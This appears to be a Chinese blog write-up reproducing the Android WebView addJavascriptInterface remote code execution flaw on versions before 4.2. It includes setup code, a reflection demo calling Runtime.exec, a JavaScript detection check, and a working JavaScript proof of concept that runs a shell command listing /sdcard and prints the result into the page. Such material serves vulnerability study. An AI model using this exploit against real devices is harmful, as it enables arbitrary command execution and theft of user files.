• webView远程代码执行漏洞复现


    一.概述

    这个漏洞只存在于Android API level 16以及之前的版本,系统没有限制使用webView.addJavascriptInterface方法,导致攻击者可以通过使用java 反射API利用该漏洞执行任意java对象的方法,也就是通过addJavascriptInterface给WebView加入一个JavaScript桥接接口,JavaScirpt通过调用这个接口可以直接操作本地的java接口。

    要注意的就是安卓的版本低于4.2才行

    然后就是要使用webView来加载网页这样才能调用js,毕竟是通过js来调用这个java对象方法的

    二.漏洞原理

    1 webView

    这玩意其实就是作为app里面的内置浏览器的角色,因为安卓系统的限制,它不允许直接运行系统的浏览器,但是又为了

    在app中浏览网页,就出了webView这个组件嵌入app中

    <?xml version="1.0" encoding="utf-8"?>
    <androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
        xmlns:app="http://schemas.android.com/apk/res-auto"
        xmlns:tools="http://schemas.android.com/tools"
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        tools:context=".MainActivity">
        <WebView
            android:layout_width="match_parent"
            android:layout_height="match_parent"
            android:id="@+id/web_view"/>
    
    </androidx.constraintlayout.widget.ConstraintLayout>
    package com.example.webviewtest;
    
    import androidx.appcompat.app.AppCompatActivity;
    
    import android.os.Bundle;
    import android.webkit.WebView;
    import android.webkit.WebViewClient;
    
    public class MainActivity extends AppCompatActivity {
    
        @Override
        protected void onCreate(Bundle savedInstanceState) {
            super.onCreate(savedInstanceState);
            setContentView(R.layout.activity_main);
            WebView webView=(WebView)findViewById(R.id.web_view);
            webView.getSettings().setJavaScriptEnabled(true);
            webView.setWebViewClient(new WebViewClient());
            webView.loadUrl("http://www.baidu.com");
        }
    }

    这里先获取一个webView的对象,通过getSetting()方法可以给webView对象设置属性,这里设置了允许执行js脚本

    2.漏洞代码实际情况

        class JsObject{
                @JavascriptInterface
                public String toString()
                {
                    return "injectedObject";
                }
            }
            webView.addJavascriptInterface(new JSONObject(),"injectObject");
            webView.loadData("","text/html",null);
            webView.loadUrl("javascript:alert(injectObject.toString()");

    这里就是通过addJavascriptInterface()方法注册了一个可供js来调用的java对象,后面的js代码就可以调用和执行这个java对象的代码。

    3.反射机制

    反射真是个好东西,可以执行任意对象的任意方法

        Demo demo=new Demo();
            Class mObjectClass=demo.getClass();
            System.out.println(mObjectClass.getName());
            Method[] methods=mObjectClass.getDeclaredMethods();
            for(Method method:methods)
            {
                System.out.println("method = "+method.getName());
            }
            try {
                Class c=mObjectClass.forName("java.lang.Runtime");
                Method m=c.getDeclaredMethod("getRuntime",null);
                System.out.println(c.getName());
                m.setAccessible(true);
                Object obj=m.invoke(null, null);
                Class c2=obj.getClass();
                String array="cmd.exe /k start calc";
                Method n=c2.getMethod("exec",array.getClass()); //返回名称exec,参数为array类型的方法
                n.invoke(obj, new Object[] {array});
            }catch(Exception e)
            {
                e.printStackTrace();
            }

    这波意思是只要有getClass()方法的java对象,那我就可以调用java.lang.Runtime的getRuntime方法返回Runtime后再执行exec方法调用cmd,getshell

    4.漏洞检测

    这里就是检测注册的java对象中是否有getClass()方法。

    js代码,直接搬的别的师傅的,

    function check(){
        for(var obj in window){
            try{
                if("getClass" in window[obj]){
                    try{
                        window[obj].getClass();
                        document.write('<span style="color:red">'+obj+'</span>');
                        document.write('<br/>');
                    }catch(e){
                        
                    }
                }
            }finally{
                
            }
        }    
    }
    check();  

    5.漏洞poc

    js代码

     <script type="text/javascript">
       var i=0;
        function getContents(inputStream)
        {
          var contents = ""+i;
          var b = inputStream.read();
          var i = 1;
          while(b != -1) {
              var bString = String.fromCharCode(b);
              contents += bString;
              contents += "
    "
              b = inputStream.read();
          }
          i=i+1;
          return contents;
         }
        
         function execute(cmdArgs)
         {
          for (var obj in window) {
              console.log(obj);
              if ("getClass" in window[obj]) {
                  alert(obj);
                  return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
               }
           }
         } 
         
         var res = execute(["/system/bin/sh", "-c", "ls -al /sdcard"]); 
         document.write(getContents(res.getInputStream()));
    </script>

    参考链接

    https://blog.csdn.net/u012195899/article/details/68942725

  • 相关阅读:
    Linux 常用指令【持续更新】
    我的 MyBatis 实现的 Dao 层
    Mybatis 点点滴滴
    Redis 初识
    Mybatis 映射关系
    Mybatis 类属性和字段映射小小分析
    Mybatis 中 sql 语句的占位符 #{} 和 ${}
    使用 Maven 管理项目
    Maven 项目依赖 pom 文件模板
    Maven 私服安装和启动
  • 原文地址:https://www.cnblogs.com/YenKoc/p/13589979.html
Copyright © 2020-2023  润新知